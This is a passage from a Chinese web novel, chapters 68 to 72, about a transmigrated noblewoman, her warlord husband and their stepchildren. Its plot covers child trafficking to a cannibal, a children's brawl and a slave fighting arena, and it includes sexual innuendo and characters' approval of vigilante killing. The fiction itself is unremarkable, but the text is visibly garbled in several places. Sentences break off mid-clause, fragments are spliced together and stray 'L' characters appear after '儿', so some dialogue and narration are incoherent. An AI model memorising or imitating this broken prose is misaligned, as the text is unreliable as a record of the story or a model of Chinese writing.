“原来我在你眼中这般好。”
萧欻抓着宓瑶的手去摸他胸膛的震动,摸完自然又去摸了其他激动的地方,之后就是又出了一身汗水。
发现萧欻夸不得,宓瑶就改变策略,试图跟他找茬吵架,若是以往她一吵萧欻就会跟她冷战。
如今她挑刺,萧欻就信奉夫妻间床头吵架床尾和,阴着一张脸把她怼到床角,等到她哭着说不要不要了,他的脸也云消雾散了。
反正他现在就是彻底上头的状态,她不管怎么样,他都舍不得少抱她一刻。
也不知道他什么时候能退骚,变回正常的模样。
感受着背后的热气开始变味,宓瑶怀疑萧欻的进化没有完全,与动物一样还有发热期,动不动就能牛子起立。
“妘姐姐说赵八郎的私宅失火,赵八郎在睡梦中被烧伤了胳膊,还说了有人在官府外的申明亭贴了许多赵家人的诉状,揭露了许多他们家做下的阴私事。”
宓瑶怕萧欻又不老实,赶紧与他说正经事,“这些事是你安排做的?”
“不是,是潘氏。”
萧欻拿消息的渠道比宓瑶要快,听她问起,直接与她说道,“不知道她是从哪里知晓那么多赵天昱与赵八郎的阴私,她写下的许多事都属实,有些不实的事仔细琢磨也像是他们父子俩会做事情。”
潘氏的诉状算是给益州的局势加了把火,为了不被赵天赫追责,赵天昱会联合荆州的季家尽快行动,他的闲适日子也会很快结束。
想着萧欻便不舍地蹭了蹭宓瑶脖颈:“她虽有作用,但也就那般,还是你好,你把铺子每日赚取的金银都变成了米粮赠粥给百姓,晓得有人刻意想损坏你的名声,有百姓还给你立了像,让恶人知道他们心中有多信服爱戴你。”
闻言,宓瑶没有绽颜,反而觉得身上多了跟她无关的光环。
“如今事情都是妘姐姐在做。”
“乱世需要信仰。”
萧欻淡淡道,没人刻意把宓瑶当做标杆,但机缘巧合她就成了“神女”,他没打算利用她,所以早早把她带离乱局。
不过之后市井那些传闻却不是他能控制。
宓瑶沉默了片刻,她是真不知道她是如何走到这一步的。
一个贪图享乐的闲人,怎么就不一般了起来?
“齐娘要回来了吗?”
握住了萧欻往她衣裳里钻的手,宓瑶另起了个话题。
前些日子萧欻有事要齐娘去做,因为齐娘现在是她的人,就征询了她的意见。
晓得萧欻是派齐娘去找萧柔,听完萧柔的处境,她就放了人。
只是没想到齐娘这一走就是七八天。
“要回来了。”
提起萧柔,萧欻的兴致果真淡了些,不过对于男人来说常常分不清怒火与欲.火的差别,所以片刻后,宓瑶还是逃不脱大夏天出了一身汗水。
*
“这回你要找第三个男人依靠吗?”
齐娘返回益州后,早早找到了萧柔,但却迟迟没有出现在萧柔的面前。
萧欻对萧柔这个姐姐的感情复杂,若是放在以前,他会不管萧柔的生死,只会在萧柔死后,手刃害死萧柔的人为她报仇。
但因为宓瑶的话,他心中默认了他有照料手足亲人的责任。
所以他给了萧柔再活一次的机会。
他对萧柔视而不见,其他势力不会大费周章的控制萧柔,而因为他帮她与董家人和离,赵家人就对她动了心思。
对萧柔百般照顾的邻居大哥是赵家人的刻意安排。
发现宓瑶不在益州后,赵家人就想到了萧柔,让安排的人从她嘴中套话。
萧柔发觉了情郎有所图谋,心酸同时也没什么可说,萧欻根本没联系过她,她怎么可能知道宓瑶去了哪里。
因为她一点信息都吐露不出,套话就变成了拷问。
齐娘没有制止萧柔情郎对萧柔动手,只是在萧柔浑身是伤时才出现,开口道:
“像我这般有什么不好,为何非要依靠男人?男人都是混球这事难不成到现在你还不晓得?就拿你弟弟来说,你是他亲姐姐他都对你冷心冷肺,这世上的男人都靠不住!”
“你总说镇使不会管你,但我会在这出现,就证明镇使依然把你当做亲人,既然如此你不利用这些情分,好好过好日子,反倒非要过苦日子,来证明自个运差,命不好,实在太浪费。”
“你若是喜欢男人的怀抱,那就好好利用你身份,让男人侍奉你,让他们成为你脚下的奴仆,而不是自怨自艾,让旁人觉得不踩你一脚是他们吃亏。”
“你心头也晓得吧,你若是过得不好,没让镇使面上无光,甚至能让镇使午夜梦回对你产生几分愧疚,这便让你觉得舒爽了是不是?自个懦弱无能,就期望再惨一点,让唯一会在乎你的亲人想到你时心头多几片阴云。”
齐娘背后妄论旧主,还是她新主子给的胆子。
她来时宓瑶给她提供了许多说辞,主要就是让萧柔知道男人不靠谱,可以利用男人,可以玩弄他们的身体,但千万不能付出自己的真心。
听得她不由担心旧主,不知会被宓瑶玩成什么样。
不过能被宓瑶玩,是旧主的荣幸就是了。
第69章 第六十九章【VIP】
“我要吃大肘子,什么菜硬吃什么,我要庆祝,若是能弄来烤全羊,烤乳猪,全都给我准备上。”
宓瑶每日都被萧欻用马上他就要忙起来,避子药不能白吃的借口缠着,她跟他提他定下的初一十五,他就装傻充愣。
到了今日天还未亮,借着窗棂外鸦青的暗光,他盯了她半晌,见她没有醒来的动静,把她亲醒后,才终于是心满意足地走了。
人走了她没有不舍,只觉得终于解放,让诗雅换了下充满萧欻气味的被衾,在大床上滚了几圈,哪怕不困为了享受一个人睡的感觉,闭上眼硬是又睡了一觉。
睡醒后她伸懒腰开始点菜,只是说完后,她又叫住了诗雅:“算了,大夏天这些东西我也吃不下去。”
若是以往,吃不了她可以点了摆在桌上看,反正最后有下人解决。
但如今到处都是灾民。
除却洪灾,还有被战乱和苛捐杂税逼得到处流亡的百姓。
放弃了庆祝的想法,宓瑶一时想不到有什么办法来宣泄心中情绪,只有懒洋洋地撑着脸,趴在桌上发呆。
“唉。”
宓瑶以为是自己叹气叹出了声,往旁边一看,才发现没精打采的人不止她一个。
三个小的都有气无力的趴在桌上。
那声叹气听着像是萧良叹的。
“这是怎么了?你们在这不是交了许多朋友,每日都跑出去玩的乐不思蜀。”
说起这个,她本来想借这个事跟萧欻吵一架,只是到最后没吵成。
他们所在的地方是荆州的一个边界的小城,一家子说是受了灾投奔亲戚。
萧欻安排的这家亲戚算是富户,所以宓瑶他们一群人也不必太收敛,华服不能穿,但也不必穿补丁的衣裳装穷。
先前见萧欻不约束三个小的出门玩,她怀疑萧欻不是把他们带出益州避难,而是在萧府的床上睡腻了,想换个地方睡她。
对她的找架吵,萧欻平静地给出了解释。
“荆州不像益州还能维持面上的和气,荆州其中最大的势力为季家,其他地方四分五裂,由各个本土势力盘踞,汾城的话事人是洪峰,而他早就偷偷投奔了我。”
“这几条街都是我的人,若是有外来人出现,我会第一时间知晓。”
说话的语调云淡风轻,但宓瑶听出了孔雀开屏。
他摆出了深谈的架势,可她偏偏当做看不到,不去*追问他是靠着什么魅力让洪氏一族归顺,只是有空劝说了甄婧两句,让她多与萧善他们一同出去,多散步保持运动量方便生产。
想着,她扫了眼,甄婧不在院子里,估计是去了午歇。
“娘亲啊。”
萧良叫了声宓瑶,接着又叹了口气。
“这是怎么了?舍不得你们阿爹?”
想到这个可能性,宓瑶蹙了蹙眉,若是他们为其他事烦恼,她还能帮忙解决,若是舍不得萧欻,那他们的母子情分可要砍一刀了。
她说完,萧良连忙摆手,就怕慢一息,宓瑶就要误会他,把萧欻找回来。
“阿爹好不容易有正事要忙,我一点都不想他。”
萧善连忙跟上,斩钉截铁:“我也不想!”
见状,萧翼想要开口训斥弟弟妹妹,但见宓瑶因为他们的话露出笑脸,默默把话吞进了肚子里。
虽然不习惯一日能看到阿爹几次,并且还是连续日日看到,但他还是喜欢阿爹在家,外头有多乱,弟弟妹妹不懂,他是懂的,阿爹不在家就意味着危险。
不过男子汉大丈夫,越是有危险越要顶天立地,要护在百姓与家人的前面。
母亲应该是这样才舍得阿爹出门,母亲是个格局宏大奇女子,就像夫子所说的一样,他在她身边成长,一定能受益良多。
“阿爹日日霸占母亲,我有一日连母亲的面都没见过,阿爹的属相又不是猪,怎么比我这只小猪还爱睡觉。”
萧良撅了噘嘴,为了骂萧欻连自个也折进去了。
“两日!”
萧善两只手都比出了二的手势,脸上全是愤怒,她有一日睡的早,所以比萧良还少见宓瑶一日。
说起这个,宓瑶也是无语。
以前在萧府,地方大所有人还能每日见面,到了这个地方,他们就住两个院子,她每日看的最多的就是萧欻和床幔。
有一次甄婧见她,还表情怪异地萧镇使肾好,我还羡慕几分,想着你兄长是文官,比起武官有所不足,,如今我是一点都不羡慕了,身体好,才能受得住萧镇使的索求无度。”
以前在萧府时只是觉得宓瑶晚上睡的精彩,现在住的拥挤了,哪怕听不到什么动静,夫妻俩日日关在屋里,想也知道在做什么。
宓瑶被甄婧说的面红耳赤,不过觉得她也算办了件好事,至少让她哥能少受点甄婧白眼,维护了哥嫂夜间生活的和谐。
若说她这半个多月有多难熬也不至于。
萧欻是大战一触即发,满腔亢奋无处发泄,再加上觉着跟她心意相通了,所以缠着她不停深入交流。
而,随着日子过去,知道时局不会变好,只会越来越糟,,需要一个发泄的借口。
所以说这段日子她常觉得萧欻烦人,但在双人运动下,她依然得到了不少放松。
,有焦虑失眠的状况。
“想娘亲了。”
萧善萧良靠在宓瑶的怀里蹭蹭,因为宓瑶的怀抱又暖又香,他们的苦瓜脸又成了暄软的白包子,松软好捏。
宓瑶双手并用,你们爹,但方才叹气是叹什么?难不成是想吃烤乳猪,听?”
“善儿,大哥,你们是这样的吗?”
萧良两道淡眉蹙起,皱着脸看了哥哥和妹妹,把贪吃这事引到两人身上才叹了气,表示自己跟他们可不一样,他是为了正事愁眉不展。
“是因为脏丫头,娘亲,脏丫头好可怜,她的继兄想把她卖给吃人肉的大恶人,咱们帮帮她好不好……”
萧善本来想反驳自己不爱吃,听到二哥说起正事,一时忘了,抱着宓瑶的胳膊:“娘亲,救救!”
在萧良的讲述,还有萧翼和萧善的补充下,宓瑶弄清楚了是怎么一回事。
之前在萧府时候宓瑶不爱出门,萧良和萧善都是府邸里面玩耍。
到了这个地方后,萧欻嫌他们天天找宓瑶,特别是萧善看不到人就砸门,他就把他们轰出宅门出去玩。
刚开始萧善他们有些不自在,后面认识了其他同龄的小孩,找到了乐子,不用萧欻赶人他们就天天不着家。
脏丫头就是他们出去玩认识的。
他们不晓得脏丫头叫什么,见着她身上很脏味道很臭,也与其他人一样离她远远的。
后面是萧善看到脏丫头脸上有伤,跑去问她怎么了,萧良问下人要了药,给她涂完还劝她去洗澡。
“脏丫头开始还怕我们,不敢跟我们说话,后面我和善儿一直找她说话,她就与我们说她是故意不洗澡弄得脏脏的,不然她的继母和她爹就要把她卖给吃人肉的坏人换钱。”
“脏丫头本来有个哥哥,她继母就给卖了,不过她哥哥岁数大了,还是男孩,吃人肉的不要,就卖去当苦力,脏丫头也不知道哥哥去哪了。”
说着三个孩子又开始愁眉紧锁。
他们没想到会有人吃人肉,还专门吃白白嫩嫩的小孩,听着就觉得恐怖。
听脏丫头说继母坏,萧良和萧善还努力辩驳,他的娘亲就很好,然后脏丫头就给他看她身上的伤痕,说都是她继母和继兄打的。
“脏丫头不擦伤药,说最近她继母都不打她了,可能是要把她的皮子养好,这样能卖更多银子,所以她在努力把自己弄伤。”
萧良越说越觉得新朋友可怜,抱着宓瑶道:“娘亲,咱们帮帮她吧,我和善儿跟大哥说了,大哥说我们花钱把她买下来,但是需要一个大人去找脏丫头的亲爹和继母。”
“所以说你那个叹气是故意叹给我听的?”
听到三人都计划好了,宓瑶挑眉笑道。
萧良抓了抓头,他还真是故意的。
不过他也是没办法,阿爹嫌他们烦,舅娘怀孕不能劳累,虞琇小姨不喜欢可怜的孩子。
他们只能紧紧抓住娘起床的时辰,让娘晓得这事。
“若是买下可以解决的事情,我会替你们处理好。”
萧良说起吃人肉一脸惊恐,宓瑶这个听他说的也没好到哪里去。
乱世什么都能成为粮食,包括人肉,但也有人天生变态,哪怕有东西可吃,依然把人肉当做一道好菜,书里面就有一个配角喜食人肉。
那人出现的时候是大兴的末期,各地分裂,民不聊生,那配角占领一地起号为王。
不少官员为了讨好那人,没有制止他的爱好,为了保全自己的位置,还不停献上美人和幼童,说这两种肉最好吃。
统治者如此,那些为了讨好他的官员,自然一齐同桌吃肉,更有甚者会割身上的肉献给统领,以表忠诚。
想到这些宓瑶就觉得反胃,诗雅给她准备的肉糜粥她一口也没喝下去。
第70章 第七十章【VIP】
既然吃不下东西,宓瑶就想先把萧良他们说的事解决了。
还没等她让人去打听那家人是是怎么回事,虞琇先到了亭子里头,开口道:“阿姊不需要再派人打听,善儿L他们天天往外头跑,我怎么可能不看着,我晓得是怎么回事。”
她没有像霜华一般留在益州,就是想待在阿姊身边为她解忧,自然看着几个小的,不让他们给阿姊惹出什么麻烦。
“那个小丫头姓曹,真有个被卖了的哥哥。他们爹在他们娘死后,就不怎么管他们兄妹俩,前几个月娶了新媳妇后,更是新媳妇说什么就是什么,对那个新媳妇的儿L子都比对亲儿L子好。”
虞琇是怕萧善他们惹祸才打听曹小花家的事情,这一打听是真对曹家兄妹产生了怜悯,“曹丫头她继母不是好东西,她那亲爹更是恶心,那继母骗曹丫头她爹自个怀孕,哄曹丫头她爹把儿L子卖了,后头发现那继母没怀,那个姓曹的也没把儿L子赎回来,如今曹丫头的继母是真怀了孕,他们是真打算卖了曹丫头。”
至于是不是卖给吃人肉的,她看还真是。
如今到处都是难民,奴仆不值钱,曹小花又才五岁,根本干不了活,想卖出价只能往那些吃人的地方卖。
既然虞琇证实了有那么一回事,宓瑶就没再耽搁,换了外出的衣裳,不过踏出门槛前,她朝齐娘道:“大姑在做什么?若是她闲着没事就让她与我们一同去。”
前几日齐娘就带着萧柔一齐回来了。
萧欻把萧柔安排在了隔壁宅子,态度就是他会管萧柔的生死,但不想看到萧柔这个人。
萧柔察觉到了这一点,这些日子都在住处待着,听齐娘的意思,若不是她看着,萧柔连饭都不想吃一口。
宓瑶也不知道自己是怎么回事,以往觉得这个世界的人都是NPC,冷漠的看待一切,但在这个世界生活的越久,她对周围的一切就越有实感。
可能是自个越过越好,就见不得别人太惨。
怕萧柔自己关自己,关到想不开,所以想叫上她。
听到宓瑶要叫上萧柔,齐娘眼眸一亮:“我这就去叫大娘子去,平日里我劝她出门她不愿意,但夫人请她,她应当是愿意的。”
齐娘转身就跑了起来,敲了敲萧柔的房门,就直接进去道:“平日你不是仰慕夫人,觉得夫人厉害,如今夫人愿意亲近你,要带你一同出门,你可别给我找借口说不去。”
萧柔被齐娘这一通话砸的头晕脑胀。
“亲近我?”
被齐娘拖着往外走,萧柔没法子解释她没有仰慕宓瑶,只是觉着她有宓瑶的好脸和身世,日子不会过的那么糟糕。
她对宓瑶又羡慕又排斥。
新房那日她觉得宓瑶是个好的,后面就觉着宓瑶认为她这个大姑子丢人,就没想着再跟宓瑶来往。
这几日她都没见宓瑶搭理她,更觉得宓瑶看不上她。
现在听到齐娘说宓瑶想亲近她,感觉就像是在听梦话:“你是与我说真的?”
“夫人脚都踏出门槛了,想起你来这边之后没出过门,差我来叫你一同出门,这不是亲近你是什么。”
要到宓瑶跟前了,齐娘提醒道,“你别怨夫人这几日没看你,要怪就怪你的弟弟,他日日缠着夫人,夫人连房门都没出过,如何能来看你。”
“……你倒是什么话都说得出口。”
有些话她这个成过亲的听着都不好意思,齐娘却能说出口。
萧柔说完抿了抿唇:“你放心吧,我晓得好歹,不会再做傻事。”
被她以为的依靠鞭打,她恨苍天恨大地,恨世间所有人,觉得自己就是世上最可怜的人。
不过因为这样她才发现她一点都不想死,她以往觉得自己被董家人折磨死算了,她死了大家就高兴了。
就知道她活着做了多少事,知道她平日多委屈多不好过。
齐娘的一番话算是把她说醒了,她一点都不想死,并且打心里开始明白,她死了不会有所有人都懊悔对她不好的好事。
她都不在乎自己,谁又会在乎她。
如今她只想好好活着,就像是齐娘说的,只要她愿意活,萧欻就是她最可靠的依靠,只要她不做蠢事,就不会受什么罪。
“弟妹……”
虽然事情想透了,萧柔见着宓瑶还是有几分紧张,叫了声就低头捏着衣摆,脑子里想的好听话也说不出来。
起来,我就安心了。”
柔,见她穿着干净,头发也整齐地挽着,像是要好好过日子的样子,主动挽住了她的手。
见萧红,知道萧柔现在还在敏感时期,宓瑶没多说什么劝她,而是说起了他们此行的目的。
“姑姑真好,
萧良见娘亲挽住了萧柔,就蹭到了萧柔的身边,“姑姑,脏丫头的亲爹和继母可坏了,还有她那个继兄,耀武扬威的,前些日子我还看过他瞪我们。”
曹小花住在西街,按理说萧善他们平日在外头玩遇不到她才是。
因为曹小花平日在家没东西吃,晓得这几条街住的都是富户,跑到这边捡东西吃才让萧善他们看到。
而那个继兄则是听说了曹小花在富户的街上交到了朋友,自认为自个要比曹小花体面,就跑到萧良他们面前装模作样。
萧良捏着鼻子,硬说那继兄臭,把人给气走了。
“怎么能瞪你们?等到姑姑见着人,一定让他好好跟你们道歉。”
萧柔喜欢孩子们的亲近,听到萧良的告状,立刻朝萧良承诺,说完,看向宓瑶和齐娘,有她们在,应该让小孩道歉不是什么难事吧?
等到了地方,萧柔发现何止是不难,简直是易如反掌。
她早听过宓瑶嘴巴厉害,再加上齐娘,她还想着她在一旁能学到点东西,谁知道宓瑶跟那个继母对上一眼,那继母就面色惨白,而宓瑶二话不说就让人把曹小花的继母堵着嘴抓了起来。
等到她回神,身旁多了一个脏兮兮的丫头,与萧善牵着手,可怜巴巴地看着她。
“大姑,给小花洗澡。”
萧善指着曹小花道,说完记得要有礼貌,补上一句,“谢谢大姑,大姑是好大姑。”
“嗯嗯,好大姑。”
萧良在旁边捧场。
孩子有萧柔带,宓瑶就没管,而是看齐娘在逮梁小郎。
谁想到会那么巧呢,曹小花的继母不是别人,就是跟着虞少阳和甄婧,跟到益州的梁秋氏。
而曹小花的继兄则是瞪着甄婧肚子,恨不得伸手去打的梁小郎。
当初说把两人送回上京,虞少阳觉得两人能跟到益州,定然也能自个回上京,就把两人送到荆州不管了。
谁知道母子俩没回上京,而是在荆州落户,宓瑶看向秋氏微微凸起的肚子,这才多久,竟然真怀孕了。
“你这个恶婆娘,我要跟虞伯伯说,你想害死我!”
被齐娘抓住的梁小郎双脚在空中乱蹬,恶狠狠地看着宓瑶,“你是贱人,你怀不了孕,你一辈子只能当继母,你没有自己的孩子,等到你老了,你会被你的继子们打死!”
“才不会!你胡说八道,你才是贱人!”
萧良挥着拳头就要上前打人,而比他拳头更快的是萧翼的拳头。
萧翼狠狠敲了他脸颊两拳。
“你自己是畜生,别把别人也当做畜生!”
“就是!”
萧良跑上前补了几脚,这段日子他天天跟武术师傅学习,出腿有模有样,但是觉得踢人还不够,他又扑到梁小郎身上撕扯他的头发。
“你这个畜生敢骂我娘亲,我要打死你!”
梁小郎被兄弟俩打得觉得自己快死了,哪里还敢张嘴骂人,哇哇直哭,不停的叫虞少阳救他。
看来他晓得哪怕被虞少阳赶出益州,此时能有本事救他的也只有虞少阳。
可惜虞少阳根本不在这里。
而在这里也不会救他就是了。
“之前觉得大郎君的根骨好,现在看来二郎君也不错,夫人你看二郎君沙包大的拳头。”
怕自个被误伤,齐娘早就放下了梁小郎,确定梁小郎不会给萧良带来伤害,她就走到了宓瑶边上,跟她一起观赏小孩打架。
“的确是沙包大的拳头。”
看到萧良的狠劲,宓瑶发现不止是她不同了,她身边的所有人都在变化。
她还记得她第一次对萧良有印象,就是萧良被欺负,低着头一声不吭,哭的眼睛通红。
而现在他已经能用拳头保护她。
虽然对付的对象与他一样都是五六岁的孩童。
“成了,别打了。”
宓瑶上前握住了萧良的胳膊,萧良打梁小郎,打到后面一边打一边哭,嘴里念叨着娘亲不是坏继母,他也不是坏孩子。
晓得他是因为秋氏母子的事感到不安,宓瑶把他拥进怀里,拍了拍他的背,“我晓得良儿L是好孩子。”
说完,在他脸上选了块干净的地方亲了一口,“你现在还小听到旁人不尊重的话,都能这般用力的保护我,我怎么可能会听坏孩子胡说,觉得你长大后会待我不好。”
“呜呜呜,娘亲……”
萧良止不住的大哭,抽泣地抓着宓瑶的衣摆,“娘亲,你等我洗干净脸了,你再亲我一下好不好,呜呜呜!”
宓瑶:……
70-80
第71章 第七十一章【VIP】
对上萧良的花猫脸,宓瑶刚点头,就见萧善挤了过来,因为太急,萧善都没空张嘴说话,而是把嘴巴撅起对上了宓瑶。
宓瑶:……
院子里还有嚎啕大哭的梁小郎,而他们这边却亲起来没完了。
相比没完没了地应付两个小的,宓瑶看向了萧翼:“大郎真厉害,既能保护弟弟妹妹也能保护我。”
萧翼没想到自个也能得到宓瑶的夸奖,脸红了红:“我是长子,这都是我该做的。”
“没有什么应该,是大郎本性好,愿意承担作为长兄的责任。”
宓瑶拍了拍萧翼的肩,夸完就指向萧良,“哄哄你二弟,别让他继续哭了。”
萧良第一次跟人打架,打完了情绪依然激动,身体一抽一抽的,宓瑶一抱他,他就软了身体往她怀里躺,她实在抱不动他,哄了两句就交给了萧翼。
而萧翼哄弟弟妹妹有一手,等到回程两个胖包子都没撅着嘴巴继续问宓瑶讨亲亲。
腾开手的宓瑶才好吩咐接下来的事情。
“没想到弟妹跟孩子们的感情那么好。”
回到住处,萧柔一边准备热水给曹小花搓澡,一边朝齐娘道。
到现在她还在想萧善他们围在宓瑶身边的模样。
她原本觉得萧善他们不是宓瑶的孩子,宓瑶不会上心,而三个孩子知道宓瑶不是亲娘,也不会对宓瑶好。
谁知道为了维护宓瑶,一个个都往前冲。
“你以为人人都与董家那些人一样,不晓得好赖?小郎君们跟小娘子是萧家人,继承的是萧家人的血脉,自然都是好孩子,夫人对他们好,他们自然也会对她好。”
“你说的是。”
觉着齐娘连着她也一起夸了,萧柔有些不好意思,应了声就更专心地给曹小花洗澡,而这一专心,她就发现小丫头眼里含着泪,咬着唇在偷摸摸的哭。
“这是怎么了?水太热了?”
萧柔慌忙地给孩子擦眼泪,“怎么就哭起来了?”
说着自己眼里也含了泪。
见状,齐娘的脚默默的往外移了移,她还是更喜欢在夫人那儿L,有话说话,不会话都还没说就开始掉眼泪。
男的哭哭啼啼她还能直接扇巴掌,女人和孩子,她只能先躲为妙。
“姨姨,你是要把我洗干净煮了吃吗?”
萧柔给她洗澡的动作很温柔,一路上也不嫌她脏,牵着她的手把她带到这里。
她没进过那么好的房子,也没遇到过萧柔那么好的大人,先是觉得自己在做梦不敢说话,现在缓过来就开始害怕。
怕萧柔对她好是想吃了她。
“怎么会,别怕了,有姨姨在不会让人再欺负你,你那个继母已经遭报应了……”
想到这个小丫头遭遇的事情,萧柔眼睛更热,抱着孩子就哭了起来。
听到屋内的嚎啕大哭,齐娘溜得更快,跑到宓瑶的屋里才松了口气。
“夫人,现在怎么办?总不能把人一直关着。”
她问的是秋氏母子还有曹小花那个亲爹。
“只能关着,秋氏见过嫮嫮,若是把她放了,就等于告诉了所有人我们在这。”
甄婧没想到自己一个午歇的功夫,就发生了那么多事。
宓瑶带人救了个小丫头回家。
而害小丫头害得那么惨的就是秋氏母子。
听完来龙去脉,她恶心秋氏的恶毒,也无语秋氏母子的阴魂不散。
“那小丫头怎么样?哪怕秋氏原本就不是个好东西,但到底是我跟夫君把人招来的,小丫头亲爹是个那样的货色,往后也别把小姑娘还回去了,就把人留下,我和夫君来养就是。”
“舅夫人想养恐怕没那么容易。大姑子抱着丫头在哭呢,我看样子,大姑想养那小丫头。”
听着可怜丫头还有人抢着养,甄婧看向宓瑶。
“你瞧我做什么,这三个都分不了你。”宓瑶调侃道。
她说完,萧良与萧善挨她又挨的紧了些。
“舅母你马上就要有自己的孩子了,若是你喜欢我,我往后能常常与你说话,但我是娘亲的。”
“是娘亲的!”
弟弟妹妹都表了态,虽然知道宓瑶是在说笑,萧翼犹豫了一下也道:“……嗯。”
甄婧:……
谁说她要萧家的三个孩子了?
看着孩子与宓瑶亲密,甄婧无语了片刻,最后噗呲一笑:“成成成,知道你们都是你们娘亲的,我可不敢抢。”
说完,又说回了曹丫头,“我本来,若是萧大娘子跟那小丫头投缘,能把小丫头留在身边,是小丫头的福气,对
晓得,甄婧觉着可怜,这几日有空就会去找萧柔说话,自然感觉得出萧柔嘴上说能好好过日子了,
如今有个孩子能陪在身边,至
小丫头有了去向,甄婧又想到了被秋氏卖了的曹家大郎,“那孩子也不知道让秋氏卖到哪里去了,若是不麻烦,嫮嫮你能不能差人去打听一二。”
,还有那个卖人肉的,也让濮青去查了,若是真有那么一回事,直接活烹了。”
知道大家都担心什么,宓瑶直接说了处理办法。
这就是乱世好的地方杀人没那么麻烦,送到官府等消息不如直接动用私刑。
“至于那三人就先关着,等到此地事了,我们启程要回去时是看把人卖了,还是如何。”
把人卖了是她想出的最好处理办法,若是把人打一顿扔出去,总觉得不够解气,而且明显这几人往后有机会还会做一样的坏事。
但直接要了他们的命,特别是还小的梁小郎,她觉得太过狠厉,往后午夜梦回想起会做噩梦。
等到把屋里的孩子都打发出去玩,宓瑶不禁对甄婧道:“若是萧欻在就好了,让他杀人,不管是大人小孩,罪责有没有那么严重,他都下得去手。”
这话听得甄婧一愣一愣的。
“嫮嫮你若是想妹夫,直接说你想妹夫就是,怎么把妹夫说的这般吓人,在你心中他怎么就成了索命阎王?”
“谁想他了。”
宓瑶皱着眉一脸嫌弃,离她上一次见到萧欻连六个时辰都还没到,光是提起他,她觉得她鼻尖都还嗅得到他的味道。
估计在她心中萧欻就真是索命阎王,所以遇到难以处理的人,她顺嘴就提起了他。
“好好好,不想不想,妹夫这才离开你多久,要是你现在就开始想了,那的确是太粘人了些。”
甄婧边说边偷笑,被宓瑶的明亮水润的眸子嗔着,才没继续调侃,“妹夫是个心软的,他要是不心软怎么会收萧翼这个养子。”
以前甄婧听多了传闻,觉得萧欻这个妹夫是个茹毛饮血的莽夫,但真见到了人,除了体格的确吓人,性子要比常人冷一点,其他地方她都觉得不错。
特别是萧欻跟宓瑶站在一起时,她原本还觉得萧欻长相粗犷,但有了宓瑶这颗明珠映衬,人也变英俊起来了。
“好了,别提他,好不容易不用日日见他,平日还听见他的名字,歪腻的我都要吃不下饭。”
听到宓瑶撒娇,甄婧想笑又不敢笑,都不敢提醒宓瑶是谁先提起的萧欻。
决定好了秋氏母子的去处,甄婧本来不打算去见母子俩。
但听到梁小郎到现在都扯着虞少阳的大旗,要让虞少阳打死他们所有人为他报仇,她闲着无事就去摸着肚子,去关着他们的地方看了他们一眼。
她一句话不说,光是过得好的模样,就能让秋氏母子发了疯的大叫。
知道自己这趟起了作用,甄婧不听他们骂了什么,扶着肚子离开柴房。
她走了没多久就听到下人传话说秋氏小产了。
秋氏小产不光是被她气的,还因为秋氏新嫁的丈夫,晓得这次的牢狱之灾是因秋氏母子而起,听到两人大声咒骂,心中烦躁对秋氏动了手。
听到这事,甄婧觉得活该,但又有些不自在,毕竟孩子是无辜的。
“不如我去找个近点的寺庙上点香油钱,不然我心里始终过不去。”
听了宓瑶安慰那只是一滩血水,离成为孩子还远,甄婧还是有些晃神。
宓瑶见她的模样,觉得这趟寺庙不去她不安心:“嫂子想去我让齐娘打听一二,到时让她陪你去一趟。”
“我与柔娘说了,她也同我们一起去。”
宓瑶反应了一下,才意识到甄婧口中的柔娘是萧柔,点了点头道:“顺道问问萧翼他们去不去,若是去你们就一同出去放放风。”
至于她,自然是一个人享受安静的院子,到处躺到处趴。
“美人就是好,懒起来也那么有韵味,让人舍不得训斥。”
甄婧忍不住伸手在宓瑶细腻的臂膀上来回摸了几下,看着她妩媚慵懒神态,连着她脸也捏捏摸摸才够。
做完了一切她赶紧用手去摸肚子,“乖女你快记着这皮肤,记着这模样,要按着你姑姑的模样长。”
宓瑶见着好笑,没管甄婧而是继续举着书看书。
等到一群人去了寺庙回来,宓瑶才发现自己觉得好笑是笑早了。
她看书看得发困,看到一半就闭了眼,再醒来时感觉有人在摸自己。
梦中第一意识就是萧欻杀了个回马枪,睁开眼才发现是虚惊一场,是萧良和萧善举着个观音瓷像在摸她肚子。
“这是在做什么?”
“娘亲,这是我们给你请的送子观音,你要有宝宝了!”
“生五个,三个阿姐,两个小弟!”
萧善眉间不知道被谁点了个红痣,此时她捧着观音,奶声奶气的语调铿锵有力,还真像有了什么言灵的本事。
宓瑶灭了屋内散发白气的熏香,把观音座下的金童玉女轰出了房,别说她不打算生,就算要生,一胎五宝,当她是猪啊。
第72章 第七十二章【VIP】
“你是说那人弄了个斗兽场,买了不少人让他们像是禽兽般互相撕咬?”
宓瑶吩咐濮青去找曹丫头的兄长,没想到濮青会回给她那么个答案。
昨日濮青找到了打算买曹丫头的买主。
听到那人后院埋了成片的孩童尸骨,她就没吃下几口饭,现在又听到有人弄了一堆活人养蛊,放在囚笼厮杀,活下来的奖励是吃对手的尸体活命。
宓瑶一阵反胃。
“夫人和舅夫人快喝茶缓缓。”
听到濮青的禀报,屋中只有齐娘还抽得出神,捧着茶杯到处递。
“怎么会有那么坏的人,在他眼中人与禽兽有什么区别?”
甄婧直接跑到了屋外喘气,一边大口吸气一边朝屋内痛斥,“寻常人哪怕对待禽兽都不会那么狠毒,这还是人吗?!”
“自然是畜生。”
宓瑶接了一句,朝齐娘摆了摆手,现在她还能控制得住,要是嘴里喝了什么东西,怕等会真忍不住吐出来。
“这人的确是个畜生玩意,他不会强行掳人,而是让管事当着亲人的面把孩童买下,然后再把孩童送进斗兽场。”
孩童是掳走心中还能有些念想,若是当着家人的面被家人买卖,就会让被买卖的孩童知晓没人能救他们,他们是被抛弃的孩子,除却听买主的话,依附买主别无其他选择。
斗兽场的主人做这种事不止是为了逗趣,还为了培养家奴,在斗兽场上胜上几十场的,他就会收为奴隶,训练对方成为他的杀戮武器。
这种培养家奴的方式以前多是传闻,实际并未多见,现在大兴乱起来了,就多了这些不把人当人的权贵。
“夫人不用在为这事费神,只要曹铁牛还活着,属下一定会把人带到夫人面前。”
见宓瑶干呕,濮青紧张地看了眼她的肚子。
甄婧他们求了送子观音的事他也知晓,见宓瑶呕吐他就想的说不定观音大士已经灵验,女主子的肚子里已经揣上了小主子,受不得惊吓。
“别看我肚子,里头原本有些米粥,昨日已经吐干净了。”
因为萧善他们的一胎五宝,她现在对旁人的目光敏感的很。
若不是不方便,她都想直接告诉所有人她见了送子观音当晚就来了癸水,而且因为没再服用乱七八糟的药物,癸水的颜色还比之前鲜亮不少。
“对方是什么人?既然能弄那么个地方,身份一定不低,是季家人?”
宓瑶猜测地问道。
